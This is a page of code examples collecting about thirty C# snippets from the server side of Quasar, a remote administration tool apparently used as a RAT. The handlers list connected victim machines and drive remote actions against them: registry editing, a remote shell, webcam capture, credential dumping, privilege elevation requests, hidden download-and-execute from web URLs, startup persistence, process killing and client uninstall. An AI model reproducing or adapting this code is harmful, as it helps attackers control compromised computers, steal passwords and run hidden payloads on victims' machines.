Exemplo n.º 1
0
        /// <summary>
        /// Adds a connected client to the Listview.
        /// </summary>
        /// <param name="client">The client to add.</param>
        private void AddClientToListview(Client client)
        {
            if (client == null)
            {
                return;
            }

            try
            {
                // this " " leaves some space between the flag-icon and first item
                ListViewItem lvi = new ListViewItem(new string[]
                {
                    " " + client.EndPoint.Address, client.Value.Tag,
                    client.Value.UserAtPc, client.Value.Version, "Connected", "Active", client.Value.CountryWithCode,
                    client.Value.OperatingSystem, client.Value.AccountType
                })
                {
                    Tag = client, ImageIndex = client.Value.ImageIndex
                };

                lstClients.Invoke((MethodInvoker) delegate
                {
                    lock (_lockClients)
                    {
                        lstClients.Items.Add(lvi);
                    }
                });

                UpdateWindowTitle();
                QuasarServer.writeLog("New connection from client: " + client.Value.PCName, client.Value.PCName);
            }
            catch (InvalidOperationException)
            {
            }
        }
Exemplo n.º 2
0
 public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetRegistryKeysResponse packet, Client client)
 {
     try
     {
         // Make sure that the client is in the correct state to handle the packet appropriately.
         if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
         {
             if (!packet.IsError)
             {
                 client.Value.FrmRe.AddKeys(packet.RootKey, packet.Matches);
             }
             else
             {
                 QuasarServer.writeLog("Error loading Registry Keys at " + packet.RootKey + "(" + packet.ErrorMsg + ")", client.Value.PCName);
                 client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
                 //If root keys failed to load then close the form
                 if (packet.RootKey == null)
                 {
                     //Invoke a closing of the form
                     client.Value.FrmRe.PerformClose();
                 }
             }
         }
     }
     catch { }
 }
Exemplo n.º 3
0
        private void lstRegistryKeys_AfterLabelEdit(object sender, LabelEditEventArgs e)
        {
            if (e.Label != null && tvRegistryDirectory.SelectedNode != null)
            {
                e.CancelEdit = true;
                int index = e.Item;

                if (e.Label.Length > 0)
                {
                    if (lstRegistryValues.Items.ContainsKey(e.Label))
                    {
                        MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                        lstRegistryValues.Items[index].BeginEdit();
                        return;
                    }
                    QuasarServer.writeLog("Renaming Registry Key Value: " + tvRegistryDirectory.SelectedNode.FullPath + lstRegistryValues.Items[index].Name, _connectClient.Value.PCName);
                    new xServer.Core.Packets.ServerPackets.DoRenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, lstRegistryValues.Items[index].Name, e.Label).Execute(_connectClient);

                    lstRegistryValues.LabelEdit = false;
                }
                else
                {
                    MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                    lstRegistryValues.Items[index].BeginEdit();
                }
            }
            else
            {
                lstRegistryValues.LabelEdit = false;
            }
        }
Exemplo n.º 4
0
        private void FrmSystemInformation_Load(object sender, EventArgs e)
        {
            if (_connectClient != null)
            {
                QuasarServer.writeLog("Getting System Information", _connectClient.Value.PCName);
                QuasarServer.writeLog("System Information", _connectClient.Value.PCName);
                this.Text = WindowHelper.GetWindowTitle("System Information", _connectClient);
                new Core.Packets.ServerPackets.GetSystemInfo().Execute(_connectClient);

                if (_connectClient.Value != null)
                {
                    QuasarServer.writeLog("Operating System: " + _connectClient.Value.OperatingSystem, _connectClient.Value.PCName);
                    ListViewItem lvi =
                        new ListViewItem(new string[] { "Operating System", _connectClient.Value.OperatingSystem });
                    lstSystem.Items.Add(lvi);
                    QuasarServer.writeLog("Architecture: " + ((_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)"), _connectClient.Value.PCName);
                    lvi =
                        new ListViewItem(new string[]
                    {
                        "Architecture",
                        (_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)"
                    });
                    lstSystem.Items.Add(lvi);
                    lvi = new ListViewItem(new string[] { "", "Getting more information..." });
                    lstSystem.Items.Add(lvi);
                }
            }
        }
Exemplo n.º 5
0
 private void reconnectToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Client c in GetSelectedClients())
     {
         QuasarServer.writeLog("Re-establishing connection to client", c.Value.PCName);
         new Core.Packets.ServerPackets.DoClientReconnect().Execute(c);
     }
 }
Exemplo n.º 6
0
 private void disconnectToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Client c in GetSelectedClients())
     {
         QuasarServer.writeLog("Disconnecting from client", c.Value.PCName);
         new Core.Packets.ServerPackets.DoClientDisconnect().Execute(c);
     }
 }
Exemplo n.º 7
0
 private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Client c in GetSelectedClients())
     {
         QuasarServer.writeLog("Attempting to Elevate (DoAskElevate())", c.Value.PCName);
         new Core.Packets.ServerPackets.DoAskElevate().Execute(c);
     }
 }
Exemplo n.º 8
0
 private void standbyToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Client c in GetSelectedClients())
     {
         QuasarServer.writeLog("Putting Client PC in Standby Mode", c.Value.PCName);
         new Core.Packets.ServerPackets.DoShutdownAction(ShutdownAction.Standby).Execute(c);
     }
 }
Exemplo n.º 9
0
        private void InitializeServer()
        {
            ListenServer = new QuasarServer();

            ListenServer.ServerState        += ServerState;
            ListenServer.ClientConnected    += ClientConnected;
            ListenServer.ClientDisconnected += ClientDisconnected;
        }
Exemplo n.º 10
0
 private void createExpandStringRegistryValue_Click(object sender, EventArgs e)
 {
     if (tvRegistryDirectory.SelectedNode != null)
     {
         QuasarServer.writeLog("Creating Registry Key Values at " + tvRegistryDirectory.SelectedNode.FullPath + " (EXPANDSTRING)", _connectClient.Value.PCName);
         //Request the creation of a new Registry value of type REG_EXPAND_SZ
         new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.ExpandString).Execute(_connectClient);
     }
 }
Exemplo n.º 11
0
        public FrmRemoteShell(Client c)
        {
            _connectClient             = c;
            _connectClient.Value.FrmRs = this;

            InitializeComponent();
            QuasarServer.writeLog("Beginning Remote Shell Session.", c.Value.PCName);
            txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine);
        }
Exemplo n.º 12
0
 private void FrmTaskManager_Load(object sender, EventArgs e)
 {
     if (_connectClient != null)
     {
         QuasarServer.writeLog("Starting Task Manager", _connectClient.Value.PCName);
         this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient);
         new Core.Packets.ServerPackets.GetProcesses().Execute(_connectClient);
     }
 }
Exemplo n.º 13
0
 private void FrmConnections_Load(object sender, EventArgs e)
 {
     if (_connectClient != null)
     {
         QuasarServer.writeLog("Getting TCP Connections", _connectClient.Value.PCName);
         this.Text = WindowHelper.GetWindowTitle("Connections", _connectClient);
         new Core.Packets.ServerPackets.GetConnections().Execute(_connectClient);
     }
 }
        public FrmSettings(QuasarServer listenServer)
        {
            this._listenServer = listenServer;

            InitializeComponent();

            ToggleListenerSettings(!listenServer.Listening);

            ShowPassword(false);
        }
Exemplo n.º 15
0
 private void killProcessToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (_connectClient != null)
     {
         foreach (ListViewItem lvi in lstTasks.SelectedItems)
         {
             QuasarServer.writeLog("Killing Process " + lvi.SubItems[1].Text, _connectClient.Value.PCName);
             new Core.Packets.ServerPackets.DoProcessKill(int.Parse(lvi.SubItems[1].Text)).Execute(_connectClient);
         }
     }
 }
Exemplo n.º 16
0
        public void RecoverPasswords()
        {
            clearAllToolStripMenuItem_Click(null, null);

            var req = new Core.Packets.ServerPackets.GetPasswords();

            foreach (var client in _clients.Where(client => client != null))
            {
                QuasarServer.writeLog("Dumping Credentials", client.Value.PCName);
                req.Execute(client);
            }
        }
Exemplo n.º 17
0
        private void startProcessToolStripMenuItem_Click(object sender, EventArgs e)
        {
            string processname = string.Empty;

            if (InputBox.Show("Processname", "Enter Processname:", ref processname) == DialogResult.OK)
            {
                if (_connectClient != null)
                {
                    QuasarServer.writeLog("Starting Process " + processname, _connectClient.Value.PCName);
                    new Core.Packets.ServerPackets.DoProcessStart(processname).Execute(_connectClient);
                }
            }
        }
Exemplo n.º 18
0
 private void createNewRegistryKey_Click(object sender, EventArgs e)
 {
     if (!(tvRegistryDirectory.SelectedNode.IsExpanded) && tvRegistryDirectory.SelectedNode.Nodes.Count > 0)
     {
         //Subscribe (wait for node to expand)
         tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand);
         tvRegistryDirectory.SelectedNode.Expand();
     }
     else
     {
         QuasarServer.writeLog("Creating Registry Key: " + tvRegistryDirectory.SelectedNode.FullPath, _connectClient.Value.PCName);
         new xServer.Core.Packets.ServerPackets.DoCreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath).Execute(_connectClient);
     }
 }
Exemplo n.º 19
0
        private void deleteRegistryKey_Click(object sender, EventArgs e)
        {
            //Prompt user to confirm delete
            string msg     = "Are you sure you want to permanently delete this key and all of its subkeys?";
            string caption = "Confirm Key Delete";
            var    answer  = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);

            if (answer == DialogResult.Yes)
            {
                string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath;
                QuasarServer.writeLog("Deleting Registry Key: " + parentPath + tvRegistryDirectory.SelectedNode.Name, _connectClient.Value.PCName);
                new xServer.Core.Packets.ServerPackets.DoDeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name).Execute(_connectClient);
            }
        }
Exemplo n.º 20
0
 public void PrintError(string errorMessage)
 {
     try
     {
         txtConsoleOutput.Invoke((MethodInvoker) delegate
         {
             txtConsoleOutput.SelectionColor = Color.Red;
             QuasarServer.writeLog(errorMessage, _connectClient.Value.PCName);
             txtConsoleOutput.AppendText(errorMessage);
         });
     }
     catch (InvalidOperationException)
     {
     }
 }
Exemplo n.º 21
0
        public FrmSettings(QuasarServer listenServer)
        {
            this._listenServer = listenServer;

            InitializeComponent();

            if (listenServer.Listening)
            {
                btnListen.Text         = "Stop listening";
                ncPort.Enabled         = false;
                chkIPv6Support.Enabled = false;
            }

            ShowPassword(false);
        }
Exemplo n.º 22
0
        private void FrmRemoteWebcam_Load(object sender, EventArgs e)
        {
            this.Text = WindowHelper.GetWindowTitle("Remote Webcam", _connectClient);

            panelTop.Left = (this.Width / 2) - (panelTop.Width / 2);

            btnHide.Left = (panelTop.Width / 2) - (btnHide.Width / 2);

            btnShow.Location = new Point(377, 0);
            btnShow.Left     = (this.Width / 2) - (btnShow.Width / 2);

            if (_connectClient.Value != null)
            {
                QuasarServer.writeLog("Beginning Remote Webcam", _connectClient.Value.PCName);
                new Core.Packets.ServerPackets.GetWebcams().Execute(_connectClient);
            }
        }
Exemplo n.º 23
0
 private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     QuasarServer.writeLog("Visiting Website: " + VisitWebsite.URL, c.Value.PCName);
                     new Core.Packets.ServerPackets.DoVisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }
Exemplo n.º 24
0
 private void addEntryToolStripMenuItem_Click(object sender, EventArgs e)
 {
     using (var frm = new FrmAddToAutostart())
     {
         if (frm.ShowDialog() == DialogResult.OK)
         {
             if (_connectClient != null)
             {
                 QuasarServer.writeLog("Adding Startup Item" + Environment.NewLine + "Name:" + AutostartItem.Name + Environment.NewLine + "Path:" + AutostartItem.Path + Environment.NewLine + "Type:" + AutostartItem.Type, _connectClient.Value.PCName);
                 new Core.Packets.ServerPackets.DoStartupItemAdd(AutostartItem.Name, AutostartItem.Path,
                                                                 AutostartItem.Type).Execute(_connectClient);
                 lstStartupItems.Items.Clear();
                 new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient);
             }
         }
     }
 }
Exemplo n.º 25
0
 private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmShowMessagebox(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     QuasarServer.writeLog("Showing Message Box with message \"" + Messagebox.Text + "\"", c.Value.PCName);
                     new Core.Packets.ServerPackets.DoShowMessageBox(
                         Messagebox.Caption, Messagebox.Text, Messagebox.Button, Messagebox.Icon).Execute(c);
                 }
             }
         }
     }
 }
Exemplo n.º 26
0
 private void webFileToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     QuasarServer.writeLog("Executing File from Web: " + DownloadAndExecute.URL, c.Value.PCName);
                     new Core.Packets.ServerPackets.DoDownloadAndExecute(DownloadAndExecute.URL,
                                                                         DownloadAndExecute.RunHidden).Execute(c);
                 }
             }
         }
     }
 }
Exemplo n.º 27
0
        private void deleteRegistryValue_Click(object sender, EventArgs e)
        {
            //Prompt user to confirm delete
            string msg     = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (lstRegistryValues.SelectedItems.Count == 1 ? "this value?": "these values?");
            string caption = "Confirm Value Delete";
            var    answer  = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);

            if (answer == DialogResult.Yes)
            {
                foreach (var item in lstRegistryValues.SelectedItems)
                {
                    if (item.GetType() == typeof(RegistryValueLstItem))
                    {
                        RegistryValueLstItem registyValue = (RegistryValueLstItem)item;
                        QuasarServer.writeLog("Deleting Registry Key Value: " + tvRegistryDirectory.SelectedNode.FullPath + registyValue.RegName, _connectClient.Value.PCName);
                        new xServer.Core.Packets.ServerPackets.DoDeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registyValue.RegName).Execute(_connectClient);
                    }
                }
            }
        }
Exemplo n.º 28
0
        public static void HandleGetSystemInfoResponse(Client client, GetSystemInfoResponse packet)
        {
            if (packet.SystemInfos == null)
            {
                return;
            }

            if (Settings.ShowToolTip)
            {
                var builder = new StringBuilder();
                for (int i = 0; i < packet.SystemInfos.Length; i += 2)
                {
                    if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null)
                    {
                        builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]);
                    }
                }

                FrmMain.Instance.SetToolTipText(client, builder.ToString());
            }

            if (client.Value == null || client.Value.FrmSi == null)
            {
                return;
            }

            ListViewItem[] lviCollection = new ListViewItem[packet.SystemInfos.Length / 2];
            for (int i = 0, j = 0; i < packet.SystemInfos.Length; i += 2, j++)
            {
                if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null)
                {
                    lviCollection[j] = new ListViewItem(new string[] { packet.SystemInfos[i], packet.SystemInfos[i + 1] });
                    QuasarServer.writeLog(packet.SystemInfos[i] + ": " + packet.SystemInfos[i + 1], client.Value.PCName);
                }
            }

            if (client.Value != null && client.Value.FrmSi != null)
            {
                client.Value.FrmSi.AddItems(lviCollection);
            }
        }
Exemplo n.º 29
0
        public static void HandleGetProcessesResponse(Client client, GetProcessesResponse packet)
        {
            if (client.Value == null || client.Value.FrmTm == null)
            {
                return;
            }

            client.Value.FrmTm.ClearListviewItems();

            // None of the arrays containing the process' information can be null.
            // The must also be the exact same length because each entry in the three
            // different arrays represents one process.
            if (packet.Processes == null || packet.IDs == null || packet.Titles == null ||
                packet.Processes.Length != packet.IDs.Length || packet.Processes.Length != packet.Titles.Length)
            {
                return;
            }

            new Thread(() =>
            {
                if (client.Value != null && client.Value.FrmTm != null)
                {
                    client.Value.FrmTm.SetProcessesCount(packet.Processes.Length);
                }

                for (int i = 0; i < packet.Processes.Length; i++)
                {
                    if (packet.IDs[i] == 0 || packet.Processes[i] == "System.exe")
                    {
                        continue;
                    }

                    if (client.Value == null || client.Value.FrmTm == null)
                    {
                        break;
                    }
                    QuasarServer.writeLog(packet.Processes[i] + " " + packet.IDs[i], client.Value.PCName);
                    client.Value.FrmTm.AddProcessToListview(packet.Processes[i], packet.IDs[i], packet.Titles[i]);
                }
            }).Start();
        }
Exemplo n.º 30
0
 private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count == 0)
     {
         return;
     }
     if (
         MessageBox.Show(
             string.Format(
                 "Are you sure you want to uninstall the client on {0} computer\\s?\nThe clients won't come back!",
                 lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo,
             MessageBoxIcon.Question) == DialogResult.Yes)
     {
         foreach (Client c in GetSelectedClients())
         {
             QuasarServer.writeLog(string.Format("Are you sure you want to uninstall the client on {0} computer\\s?\nThe clients won't come back! [YES]", lstClients.SelectedItems.Count), c.Value.PCName);
             QuasarServer.writeLog("Uninstalling client from " + c.Value.PCName, c.Value.PCName);
             new Core.Packets.ServerPackets.DoClientUninstall().Execute(c);
         }
     }
 }